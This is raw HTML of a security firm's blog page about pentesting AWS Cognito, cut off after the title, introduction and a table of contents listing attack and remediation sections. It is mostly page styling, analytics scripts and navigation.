16px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1TGdQUTLZdNG4R87OfAB-q>xdoor-icon{margin-left:-16px!important;margin-right:8px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1TGdQUTLZdNG4R87OfAB-q>xdoor-icon>svg{height:32px!important;width:32px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1TGdQUTLZdNG4R87OfAB-q.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-2lrEjt4SOTxqrYsv1piG4c>xdoor-icon{margin-right:-16px!important}</style>
<meta http-equiv="content-language" content="en">
<script type="text/javascript" src="https://security.padok.fr/hubfs/Website%202021/files/prism-js.js"></script>
<!-- Global site tag (gtag.js) - Google Analytics -->
<script>
//ecriture du GA anonyme quoi qu'il arrive
document.addEventListener('DOMContentLoaded', function () {
let src = "https://www.googletagmanager.com/gtag/js?id=UA-138651091-2";
var s = document.createElement('script');
s.setAttribute('src', src);
s.async = true;
console.log(document);
console.log(document.body);
document.body.appendChild(s);
});
window.dataLayer = window.dataLayer || [];
var _hsp = window._hsp = window._hsp || [];
function gtag() { dataLayer.push(arguments); }
gtag('js', new Date());
gtag('config', 'UA-138651091-2');
gtag('create', 'UA-138651091-2', { storage: "none" });
gtag("set", "anonymizeIp", true);
console.log("écriture du GA anonyme")
_hsp.push(['addPrivacyConsentListener', function (consent) {
console.log("Le consentement est : ", consent);
console.log(consent.categories);
console.log(consent.categories.analytics);
if (consent.categories.analytics && consent.categories.advertisement) {
gtag('update', 'UA-138651091-2', { storage: "default" });
(function (w, d, s, l, i) {
w[l] = w[l] || []; w[l].push({
'gtm.start':
new Date().getTime(), event: 'gtm.js'
}); var f = d.getElementsByTagName(s)[0],
j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : ''; j.async = true; j.src =
'https://www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore(j, f);
})(window, document, 'script', 'dataLayer', 'GTM-5HJ3GLG');
$("body").append($("<noscript><iframe src='https://www.googletagmanager.com/ns.html?id=GTM-5HJ3GLG' height='0' width='0' style='display:none;visibility:hidden'></iframe></noscript>"));
console.log("écriture du GTM")
}
if (!consent.categories.analytics || !consent.categories.advertisement) {
}
return true;
}]);
</script>
<meta name="generator" content="HubSpot"><script type="text/javascript" referrerpolicy="no-referrer-when-downgrade" async="" src="https://app.hubspot.com/content-tools-menu/api/v1/tools-menu/has-permission?portalId=5129574&callback=jsonpHandler"></script><meta http-equiv="origin-trial" content="AymqwRC7u88Y4JPvfIF2F37QKylC04248hLCdJAsh8xgOfe/dVJPV3XS3wLFca1ZMVOtnBfVjaCMTVudWM//5g4AAAB7eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGV0YWdtYW5hZ2VyLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1RoaXJkUGFydHkiOnRydWV9"><style type="text/css" data-fbcssmodules="css:fb.css.base css:fb.css.dialog css:fb.css.iframewidget css:fb.css.customer_chat_plugin_iframe">.fb_hidden{position:absolute;top:-10000px;z-index:10001}.fb_reposition{overflow:hidden;position:relative}.fb_invisible{display:none}.fb_reset{background:none;border:0;border-spacing:0;color:#000;cursor:auto;direction:ltr;font-family:'lucida grande', tahoma, verdana, arial, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}.fb_reset>div{overflow:hidden}@keyframes fb_transform{from{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.fb_animate{animation:fb_transform .3s forwards}
.fb_hidden{position:absolute;top:-10000px;z-index:10001}.fb_reposition{overflow:hidden;position:relative}.fb_invisible{display:none}.fb_reset{background:none;border:0;border-spacing:0;color:#000;cursor:auto;direction:ltr;font-family:'lucida grande', tahoma, verdana, arial, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}.fb_reset>div{overflow:hidden}@keyframes fb_transform{from{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.fb_animate{animation:fb_transform .3s forwards}
.fb_dialog{background:rgba(82, 82, 82, .7);position:absolute;top:-10000px;z-index:10001}.fb_dialog_advanced{border-radius:8px;padding:10px}.fb_dialog_content{background:#fff;color:#373737}.fb_dialog_close_icon{background:url(https://connect.facebook.net/rsrc.php/v3/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 0 transparent;cursor:pointer;display:block;height:15px;position:absolute;right:18px;top:17px;width:15px}.fb_dialog_mobile .fb_dialog_close_icon{left:5px;right:auto;top:5px}.fb_dialog_padding{background-color:transparent;position:absolute;width:1px;z-index:-1}.fb_dialog_close_icon:hover{background:url(https://connect.facebook.net/rsrc.php/v3/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 -15px transparent}.fb_dialog_close_icon:active{background:url(https://connect.facebook.net/rsrc.php/v3/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 -30px transparent}.fb_dialog_iframe{line-height:0}.fb_dialog_content .dialog_title{background:#6d84b4;border:1px solid #365899;color:#fff;font-size:14px;font-weight:bold;margin:0}.fb_dialog_content .dialog_title>span{background:url(https://connect.facebook.net/rsrc.php/v3/yd/r/Cou7n-nqK52.gif) no-repeat 5px 50%;float:left;padding:5px 0 7px 26px}body.fb_hidden{height:100%;left:0;margin:0;overflow:visible;position:absolute;top:-10000px;transform:none;width:100%}.fb_dialog.fb_dialog_mobile.loading{background:url(https://connect.facebook.net/rsrc.php/v3/ya/r/3rhSv5V8j3o.gif) white no-repeat 50% 50%;min-height:100%;min-width:100%;overflow:hidden;position:absolute;top:0;z-index:10001}.fb_dialog.fb_dialog_mobile.loading.centered{background:none;height:auto;min-height:initial;min-width:initial;width:auto}.fb_dialog.fb_dialog_mobile.loading.centered #fb_dialog_loader_spinner{width:100%}.fb_dialog.fb_dialog_mobile.loading.centered .fb_dialog_content{background:none}.loading.centered #fb_dialog_loader_close{clear:both;color:#fff;display:block;font-size:18px;padding-top:20px}#fb-root #fb_dialog_ipad_overlay{background:rgba(0, 0, 0, .4);bottom:0;left:0;min-height:100%;position:absolute;right:0;top:0;width:100%;z-index:10000}#fb-root #fb_dialog_ipad_overlay.hidden{display:none}.fb_dialog.fb_dialog_mobile.loading iframe{visibility:hidden}.fb_dialog_mobile .fb_dialog_iframe{position:sticky;top:0}.fb_dialog_content .dialog_header{background:linear-gradient(from(#738aba), to(#2c4987));border-bottom:1px solid;border-color:#043b87;box-shadow:white 0 1px 1px -1px inset;color:#fff;font:bold 14px Helvetica, sans-serif;text-overflow:ellipsis;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0;vertical-align:middle;white-space:nowrap}.fb_dialog_content .dialog_header table{height:43px;width:100%}.fb_dialog_content .dialog_header td.header_left{font-size:12px;padding-left:5px;vertical-align:middle;width:60px}.fb_dialog_content .dialog_header td.header_right{font-size:12px;padding-right:5px;vertical-align:middle;width:60px}.fb_dialog_content .touchable_button{background:linear-gradient(from(#4267B2), to(#2a4887));background-clip:padding-box;border:1px solid #29487d;border-radius:3px;display:inline-block;line-height:18px;margin-top:3px;max-width:85px;padding:4px 12px;position:relative}.fb_dialog_content .dialog_header .touchable_button input{background:none;border:none;color:#fff;font:bold 12px Helvetica, sans-serif;margin:2px -12px;padding:2px 6px 3px 6px;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0}.fb_dialog_content .dialog_header .header_center{color:#fff;font-size:16px;font-weight:bold;line-height:18px;text-align:center;vertical-align:middle}.fb_dialog_content .dialog_content{background:url(https://connect.facebook.net/rsrc.php/v3/y9/r/jKEcVPZFk-2.gif) no-repeat 50% 50%;border:1px solid #4a4a4a;border-bottom:0;border-top:0;height:150px}.fb_dialog_content .dialog_footer{background:#f5f6f7;border:1px solid #4a4a4a;border-top-color:#ccc;height:40px}#fb_dialog_loader_close{float:left}.fb_dialog.fb_dialog_mobile .fb_dialog_close_icon{visibility:hidden}#fb_dialog_loader_spinner{animation:rotateSpinner 1.2s linear infinite;background-color:transparent;background-image:url(https://connect.facebook.net/rsrc.php/v3/yD/r/t-wz8gw1xG1.png);background-position:50% 50%;background-repeat:no-repeat;height:24px;width:24px}@keyframes rotateSpinner{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}
.fb_iframe_widget{display:inline-block;position:relative}.fb_iframe_widget span{display:inline-block;position:relative;text-align:justify}.fb_iframe_widget iframe{position:absolute}.fb_iframe_widget_fluid_desktop,.fb_iframe_widget_fluid_desktop span,.fb_iframe_widget_fluid_desktop iframe{max-width:100%}.fb_iframe_widget_fluid_desktop iframe{min-width:220px;position:relative}.fb_iframe_widget_lift{z-index:1}.fb_iframe_widget_fluid{display:inline}.fb_iframe_widget_fluid span{width:100%}
.fb_mpn_mobile_landing_page_slide_out{animation-duration:200ms;animation-name:fb_mpn_landing_page_slide_out;transition-timing-function:ease-in}.fb_mpn_mobile_landing_page_slide_out_from_left{animation-duration:200ms;animation-name:fb_mpn_landing_page_slide_out_from_left;transition-timing-function:ease-in}.fb_mpn_mobile_landing_page_slide_up{animation-duration:500ms;animation-name:fb_mpn_landing_page_slide_up;transition-timing-function:ease-in}.fb_mpn_mobile_bounce_in{animation-duration:300ms;animation-name:fb_mpn_bounce_in;transition-timing-function:ease-in}.fb_mpn_mobile_bounce_out{animation-duration:300ms;animation-name:fb_mpn_bounce_out;transition-timing-function:ease-in}.fb_mpn_mobile_bounce_out_v2{animation-duration:300ms;animation-name:fb_mpn_fade_out;transition-timing-function:ease-in}.fb_customer_chat_bounce_in_v2{animation-duration:300ms;animation-name:fb_bounce_in_v2;transition-timing-function:ease-in}.fb_customer_chat_bounce_in_from_left{animation-duration:300ms;animation-name:fb_bounce_in_from_left;transition-timing-function:ease-in}.fb_customer_chat_bounce_out_v2{animation-duration:300ms;animation-name:fb_bounce_out_v2;transition-timing-function:ease-in}.fb_customer_chat_bounce_out_from_left{animation-duration:300ms;animation-name:fb_bounce_out_from_left;transition-timing-function:ease-in}.fb_invisible_flow{display:inherit;height:0;overflow-x:hidden;width:0}@keyframes fb_mpn_landing_page_slide_out{0%{margin:0 12px;width:100% - 24px}60%{border-radius:18px}100%{border-radius:50%;margin:0 24px;width:60px}}@keyframes fb_mpn_landing_page_slide_out_from_left{0%{left:12px;width:100% - 24px}60%{border-radius:18px}100%{border-radius:50%;left:12px;width:60px}}@keyframes fb_mpn_landing_page_slide_up{0%{bottom:0;opacity:0}100%{bottom:24px;opacity:1}}@keyframes fb_mpn_bounce_in{0%{opacity:.5;top:100%}100%{opacity:1;top:0}}@keyframes fb_mpn_fade_out{0%{bottom:30px;opacity:1}100%{bottom:0;opacity:0}}@keyframes fb_mpn_bounce_out{0%{opacity:1;top:0}100%{opacity:.5;top:100%}}@keyframes fb_bounce_in_v2{0%{opacity:0;transform:scale(0, 0);transform-origin:bottom right}50%{transform:scale(1.03, 1.03);transform-origin:bottom right}100%{opacity:1;transform:scale(1, 1);transform-origin:bottom right}}@keyframes fb_bounce_in_from_left{0%{opacity:0;transform:scale(0, 0);transform-origin:bottom left}50%{transform:scale(1.03, 1.03);transform-origin:bottom left}100%{opacity:1;transform:scale(1, 1);transform-origin:bottom left}}@keyframes fb_bounce_out_v2{0%{opacity:1;transform:scale(1, 1);transform-origin:bottom right}100%{opacity:0;transform:scale(0, 0);transform-origin:bottom right}}@keyframes fb_bounce_out_from_left{0%{opacity:1;transform:scale(1, 1);transform-origin:bottom left}100%{opacity:0;transform:scale(0, 0);transform-origin:bottom left}}@keyframes slideInFromBottom{0%{opacity:.1;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}@keyframes slideInFromBottomDelay{0%{opacity:0;transform:translateY(100%)}97%{opacity:0;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}</style></head>
<body data-aos-easing="ease" data-aos-duration="400" data-aos-delay="0"><style type="text/css">div#hs-eu-cookie-confirmation{background:#fff;height:auto;left:0;position:absolute;top:0;width:100%;z-index:100000000!important;border-bottom:1px solid #cbd6e2;border-top:1px solid #cbd6e2;box-shadow:0 1px 5px #eaf0f6;color:#33475b;font-family:inherit;font-size:inherit;font-weight:400!important;line-height:inherit;text-align:left;text-shadow:none!important;font-size:12px;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;line-height:18px}div#hs-eu-cookie-confirmation.hs-cookie-notification-position-bottom{position:fixed;border-bottom:0;bottom:0;top:auto;box-shadow:0 -1px 3px #eaf0f6}div#hs-eu-cookie-confirmation *{box-sizing:border-box!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner{background:#fff;margin:0 auto;max-width:1000px;padding:20px}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a{text-decoration:none!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a,div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a:hover{background:none!important;border:none!important;box-shadow:none!important;color:#0091ae;font-family:inherit;font-size:inherit;font-weight:400!important;line-height:inherit;text-align:left;text-shadow:none!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a:hover{text-decoration:underline!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner div#hs-eu-policy-wording{margin-bottom:12px}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner div#hs-en-cookie-confirmation-buttons-area,div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner div#hs-eu-cookie-confirmation-button-group{display:flex;flex-direction:row;flex-wrap:wrap;align-items:center}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner div#hs-en-cookie-confirmation-buttons-area{margin-right:72px;justify-content:flex-end;align-items:center}@media (max-width:800px){div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner div#hs-en-cookie-confirmation-buttons-area{justify-content:center;margin-right:0}}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner div#hs-eu-cookie-confirmation-button-group{justify-content:center}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a#hs-eu-confirmation-button,div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a#hs-eu-cookie-settings-button,div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a#hs-eu-decline-button{margin:6px!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a#hs-eu-confirmation-button,div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a#hs-eu-decline-button{border-radius:3px;display:inline-block;padding:10px 16px!important;text-decoration:none!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a#hs-eu-confirmation-button{background-color:#3574e3!important;border:1px solid #3574e3!important;color:#fff;font-family:inherit;font-size:inherit;font-weight:400!important;line-height:inherit;text-align:left;text-shadow:none!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a#hs-eu-decline-button{border:1px solid #3574e3!important;color:#3574e3;font-family:inherit;font-size:inherit;font-weight:400!important;line-height:inherit;text-align:left;text-shadow:none!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a#hs-eu-cookie-settings-button{color:#3574e3!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner p{margin:0 72px 12px;color:#33475b;font-family:inherit;font-size:inherit;font-weight:400!important;line-height:inherit;text-align:left;text-shadow:none!important}@media (max-width:800px){div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner p{margin:0 20px 12px}}#hs-eu-close-button-container{display:flex;justify-content:end;margin-top:8px;margin-right:8px}#hs-eu-close-button-container a#hs-eu-close-button[role=button]{float:right;width:1.5rem;font-size:40px!important;text-align:center!important;cursor:pointer;color:#8b8589!important}#hs-eu-close-button-container a#hs-eu-close-button[role=button]:hover{background:none!important;border:none!important;box-shadow:none!important;color:#0091ae;font-family:inherit;font-size:inherit;font-weight:400!important;line-height:inherit;text-align:left;text-shadow:none!important;text-decoration:none!important}@media (max-width:800px){#hs-eu-close-button-container a#hs-eu-close-button[role=button]{margin-right:10px;font-size:30px;line-height:50px}}@media (min-width:800px){#hs-eu-close-button-container a#hs-eu-close-button[role=button]{margin-bottom:10px}}@media print{div#hs-eu-cookie-confirmation{display:none!important}}@media screen and (max-width:480px){div#hs-eu-cookie-confirmation{font-size:12px!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner{padding:8px 14px 14px!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a,div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner a#hs-eu-confirmation-button{font-size:12px!important}div#hs-eu-cookie-confirmation div#hs-eu-cookie-confirmation-inner p{font-size:12px!important;margin-bottom:12px!important;line-height:15px!important}}@media only screen and (min-width:960px){div#hs-eu-cookie-confirmation{position:fixed}}</style><div id="hs-eu-cookie-confirmation" class="hs-cookie-notification-position-bottom" data-nosnippet="">
<div id="hs-eu-cookie-confirmation-inner">
<div id="hs-eu-policy-wording"><p>Ce site web stocke les cookies sur votre ordinateur.</p></div>
<p id="hs-eu-cookie-disclaimer">Si vous refusez l'utilisation des cookies, un seul cookie sera utilisé dans votre navigateur afin de se souvenir de ne pas suivre vos préférences.</p>
<div id="hs-en-cookie-confirmation-buttons-area">
<div id="hs-eu-cookie-confirmation-button-group">
<a href="javascript:void(0);" id="hs-eu-confirmation-button" role="button">
Accepter
</a>
<a href="javascript:void(0);" id="hs-eu-decline-button" role="button">Refuser</a>
</div>
</div>
</div>
</div>
<div class="body-wrapper hs-content-id-112692848203 hs-blog-post hs-blog-id-112686781973">
<div data-global-resource-path="Padok-security/templates/partials/header-color.html"><div id="hs_cos_wrapper_navigation-second" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module">
<header id="watchScroll" class="navigation color">
<div class="navigation--main py-2 py-lg-0">
<div class="container-custom">
<div class="wrapper p-relative d-flex flex-column flex-lg-row align-items-lg-center">
<a href="https://security.padok.fr" class="logo mr-2">
<img class="img-fluid lazy loaded" src="https://www.padok.fr/hubfs/Padok-Security/Logos/padok-security.svg" data-src="https://www.padok.fr/hubfs/Padok-Security/Logos/padok-security.svg" alt="padok-security" data-ll-status="loaded" width="115" height="115">
</a>
<button id="hamburger-toggle" class="skip d-flex flex-column justify-content-between d-lg-none">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<nav class="sc-site-header__menu sc-site-header__menu-- hs-menu-wrapper active-branch w-100 flyouts hs-menu-flow-horizontal mt-2 mt-lg-0 flex-column flex-lg-row justify-content-lg-between align-items-start align-items-lg-center">
<ul class="d-flex list-unstyled m-0">
<li class="hs-menu-item mb-0 hs-menu-depth-1 position-relative hs-item-has-children px-lg-1">
<p class="p-relative d-arrow d-inline-block">Offres
</p>
<ul class="hs-menu-children-wrapper hs-menu-children-wrapper-1 p-lg-2 list-unstyled">
<li>
<a href="https://security.padok.fr/offre-audit-securite">Audit de sécurité</a>
</li>
<li>
<a href="https://security.padok.fr/offre-pentest-securite">Test d'intrusion</a>
</li>
<li>
<a href="https://security.padok.fr/offre-securisation">Sécurisation</a>
</li>
<li>
<a href="https://security.padok.fr/offre-analyse-forensic">Analyse Forensic</a>
</li>
</ul>
</li>
<li class="hs-menu-item mb-0 hs-menu-depth-1 position-relative ">
<a class="d-block p-relative px-lg-1 text-decoration-none" href="https://security.padok.fr/equipe">L'équipe
</a>
</li>
<li class="hs-menu-item mb-0 hs-menu-depth-1 position-relative ">
<a class="d-block p-relative px-lg-1 text-decoration-none" href="https://security.padok.fr/glossaire">Glossaire
</a>
</li>
<li class="hs-menu-item mb-0 hs-menu-depth-1 position-relative hs-item-has-children px-lg-1">
<p class="p-relative d-arrow d-inline-block">Blog
</p>
<ul class="hs-menu-children-wrapper hs-menu-children-wrapper-1 p-lg-2 list-unstyled">
<li>
<a href="https://security.padok.fr/blog">Blog FR</a>
</li>
<li>
<a href="https://security.padok.fr/en/blog">Blog EN</a>
</li>
</ul>
</li>
</ul>
<div class="wrapper-right d-flex flex-column flex-lg-row">
<a class="btn custom support blue mb-1 mb-lg-0 mr-lg-1" href="https://security.padok.fr/contact-incident">
<svg width="20" height="21" viewBox="0 0 20 21" fill="none" xmlns="http://www.w3.org/2000/svg">
<circle cx="10" cy="10.5" r="10" fill="#0E0073"></circle>
<circle cx="10" cy="10.5" r="10" fill="url(#paint0_radial_101_26966)" fill-opacity="0.2"></circle>
<g clip-path="url(#clip0_101_26966)">
<g filter="url(#filter0_d_101_26966)">
<path d="M14.1666 12.7167V13.9667C14.1671 14.0827 14.1433 14.1976 14.0968 14.3039C14.0503 14.4103 13.9821 14.5057 13.8966 14.5842C13.8111 14.6626 13.7102 14.7223 13.6002 14.7595C13.4903 14.7967 13.3738 14.8105 13.2583 14.8C11.9761 14.6607 10.7445 14.2226 9.66243 13.5209C8.65569 12.8812 7.80215 12.0276 7.16243 11.0209C6.45826 9.93388 6.02003 8.69629 5.88326 7.40837C5.87285 7.29315 5.88655 7.17702 5.92347 7.06738C5.9604 6.95774 6.01975 6.85699 6.09775 6.77155C6.17575 6.6861 6.27068 6.61784 6.37651 6.57109C6.48234 6.52435 6.59674 6.50015 6.71243 6.50004H7.96243C8.16464 6.49805 8.36068 6.56966 8.514 6.70151C8.66732 6.83337 8.76746 7.01648 8.79576 7.21671C8.84852 7.61673 8.94637 8.00951 9.08743 8.38754C9.14349 8.53668 9.15562 8.69875 9.12239 8.85457C9.08916 9.01039 9.01196 9.15342 8.89993 9.26671L8.37076 9.79587C8.96391 10.839 9.82762 11.7027 10.8708 12.2959L11.3999 11.7667C11.5132 11.6547 11.6562 11.5775 11.8121 11.5442C11.9679 11.511 12.13 11.5231 12.2791 11.5792C12.6571 11.7203 13.0499 11.8181 13.4499 11.8709C13.6523 11.8994 13.8372 12.0014 13.9693 12.1573C14.1015 12.3133 14.1717 12.5124 14.1666 12.7167Z" fill="white"></path>
</g>
</g>
<defs>
<filter id="filter0_d_101_26966" x="-9.12012" y="-8.5" width="38.287" height="38.3034" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
<feFlood flood-opacity="0" result="BackgroundImageFix"></feFlood>
<feColorMatrix in="SourceAlpha" type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0" result="hardAlpha"></feColorMatrix>
<feOffset></feOffset>
<feGaussianBlur stdDeviation="7.5"></feGaussianBlur>
<feComposite in2="hardAlpha" operator="out"></feComposite>
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.1 0"></feColorMatrix>
<feBlend mode="normal" in2="BackgroundImageFix" result="effect1_dropShadow_101_26966"></feBlend>
<feBlend mode="normal" in="SourceGraphic" in2="effect1_dropShadow_101_26966" result="shape"></feBlend>
</filter>
<radialGradient id="paint0_radial_101_26966" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(18.7101 13.6194) rotate(-147.023) scale(23.4194 12.725)">
<stop stop-color="#705BFF" stop-opacity="0"></stop>
<stop offset="1" stop-color="#250FBB"></stop>
</radialGradient>
<clipPath id="clip0_101_26966">
<rect width="10" height="10" fill="white" transform="translate(5 5)"></rect>
</clipPath>
</defs>
</svg>
Un incident de sécurité ? Contactez-nous</a>
<a class="btn custom contact blue" href="https://security.padok.fr/contact">
<svg width="20" height="21" viewBox="0 0 20 21" fill="none" xmlns="http://www.w3.org/2000/svg">
<circle cx="10" cy="10.5" r="10" fill="white"></circle>
<circle cx="10" cy="10.5" r="10" fill="white" fill-opacity="0.3"></circle>
<path d="M9.99763 4.0001C13.5858 4.0001 16.5 6.90897 16.5 10.5C16.5 12.2245 15.807 13.8732 14.592 15.0955C13.377 16.3178 11.7253 17 9.99763 17C9.80778 17 9.61793 16.9811 9.43757 16.9621V13.3615C9.61793 13.3994 9.80778 13.4184 9.99763 13.4184C11.6114 13.39 12.9023 12.054 12.8739 10.4432C12.8454 8.87032 11.5734 7.60065 9.99763 7.57223V6.45416C12.2379 6.46363 14.0509 8.28286 14.0414 10.519C14.0414 11.5897 13.6143 12.613 12.8549 13.371C12.2379 13.9869 11.431 14.3943 10.5577 14.5175V15.844C11.7727 15.7114 12.9118 15.1618 13.7756 14.2996C15.8735 12.2056 15.8735 8.81347 13.7756 6.72894C11.6778 4.64441 8.27948 4.63493 6.19113 6.72894C4.09328 8.82295 4.09328 12.215 6.19113 14.2996C6.77966 14.887 7.4916 15.3324 8.28897 15.6072V16.7821C7.19734 16.4789 6.20062 15.8914 5.39376 15.0955C2.86875 12.5562 2.86875 8.45342 5.39376 5.91408C6.6088 4.68231 8.26999 3.99062 9.99763 4.0001Z" fill="#161618"></path>
</svg>
<span>Contact</span></a>
</div>
</nav>
</div>
</div>
</div>
</header></div></div>
<main>
<div class="global-blog-post overflow-hidden mt-md-n2">
<div>
<div class="blog-post new" data-classic="1636362090000" data-date="1690236000000">
<article>
<div class="container-xl blog--image--container px-1 pt-10 pb-4">
<div class="row">
<div class="col-lg-12">
<div class="position-relative blog--image--overlay">
<img class="img-fluid blog--image lazy loaded" src="https://www.padok.fr/hubfs/Imported_Blog_Media/pentest_aws_cognito-1.webp" data-src="https://www.padok.fr/hubfs/Imported_Blog_Media/pentest_aws_cognito-1.webp" alt="AWS-cognito" data-ll-status="loaded">
<div class="post--info">
<div class="d-flex wrapper-hero-infos">
<div class="d-flex">
<a class="label text-decoration-none ml-1" href="https://security.padok.fr/en/blog/tag/technology">Technology
</a>
<a class="label text-decoration-none ml-1" href="https://security.padok.fr/en/blog/tag/security">Security
</a>
</div>
<span class="blog--readtime"> • 5 min</span>
</div>
<h1 class="post--name text-white post--title mt-1" itemprop="name headline"><span id="hs_cos_wrapper_name" class="hs_cos_wrapper hs_cos_wrapper_meta_field hs_cos_wrapper_type_text" style="" data-hs-cos-general-type="meta_field" data-hs-cos-type="text">How to pentest AWS Cognito? Attack and remediation explained</span></h1>
<div class="d-flex align-items-center mt-2">
<div class="post--avatar--wrapper">
<img class="post--avatar img-fluid" src="https://security.padok.fr/hubfs/Images/Equipe/thomas-padok-devops.png" alt="Thomas de Lachaux">
</div>
<div class="ml-1">
<p class="text-white bold">Thomas de Lachaux</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="container mb-4 mb-lg-8">
<div class="row">
<div class="col-lg-8">
<section class="post-body pb-4">
<ul itemscope="" itemtype="https://schema.org/BreadcrumbList" class="breadcrumb mb-3">
<li itemprop="itemListElement" itemscope="" itemtype="https://schema.org/ListItem">
<a itemprop="item" href="/"><span itemprop="name">Accueil</span></a>
<meta itemprop="position" content="1">
</li>
<li itemprop="itemListElement" itemscope="" itemtype="https://schema.org/ListItem">
<a itemprop="item" href="https://www.padok.fr/blog"><span itemprop="name">Blog</span></a>
<meta itemprop="position" content="2">
</li>
<li itemprop="itemListElement" itemscope="" itemtype="https://schema.org/ListItem">
<a itemprop="item" href="https://security.padok.fr/en/blog/tag/technology">
<span itemprop="name">Technology</span>
</a>
<meta itemprop="position" content="3">
</li>
<li itemprop="itemListElement" itemscope="" itemtype="https://schema.org/ListItem">
<a itemprop="item" href="https://security.padok.fr/en/blog/aws-cognito-pentest">
<span itemprop="name"><span id="hs_cos_wrapper_name" class="hs_cos_wrapper hs_cos_wrapper_meta_field hs_cos_wrapper_type_text" style="" data-hs-cos-general-type="meta_field" data-hs-cos-type="text">How to pentest AWS Cognito? Attack and...</span></span></a>
<meta itemprop="position" content="4">
</li>
</ul>
<p class="font-regular font-weight-bold my-3">24 July 2023</p>
<div id="hs_cos_wrapper_module_16823447957671" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><h2 class="introduction" itemprop="description">So, you are <a href="/en/blog/what-is-pentest" rel="noopener" target="_blank">pentesting </a>a website, and you saw that the application was making API calls on AWS Cognito. But you don’t know what is this service nor how to abuse it? Let’s see what we can do!</h2></div>
<nav id="blog--menu">
<p class="label">Sommaire</p>
<ol class="hn_toggle"><li><a href="#What_is_AWS_Cognito?">What is AWS Cognito?</a><ol><li><a href="#The_user_pool">The user pool</a></li><li><a href="#The_identity_pool">The identity pool</a></li></ol></li><li><a href="#How_to_pentest_AWS_Cognito?">How to pentest AWS Cognito?</a><ol><li><a href="#Data_retrieval">Data retrieval</a></li><li><a href="#Attack_1:_Unwanted_account_creation">Attack 1: Unwanted account creation</a></li><li><a href="#Attack_2:_Account_oracle">Attack 2: Account oracle</a></li><li><a href="#Attack_3:_Identity_pool_escalation">Attack 3: Identity pool escalation</a></li><li><a href="#Attack_on_Cognito_Script">Attack on Cognito Script</a></li></ol></li><li><a href="#How_can_you_avoid_being_pwned_on_AWS_Cognito?">How can you avoid being pwned on AWS Cognito?</a><ol><li><a href="#Resolution_1:_Check_self-service_sign-up">Resolution 1: Check self-service sign-up</a></li><li><a 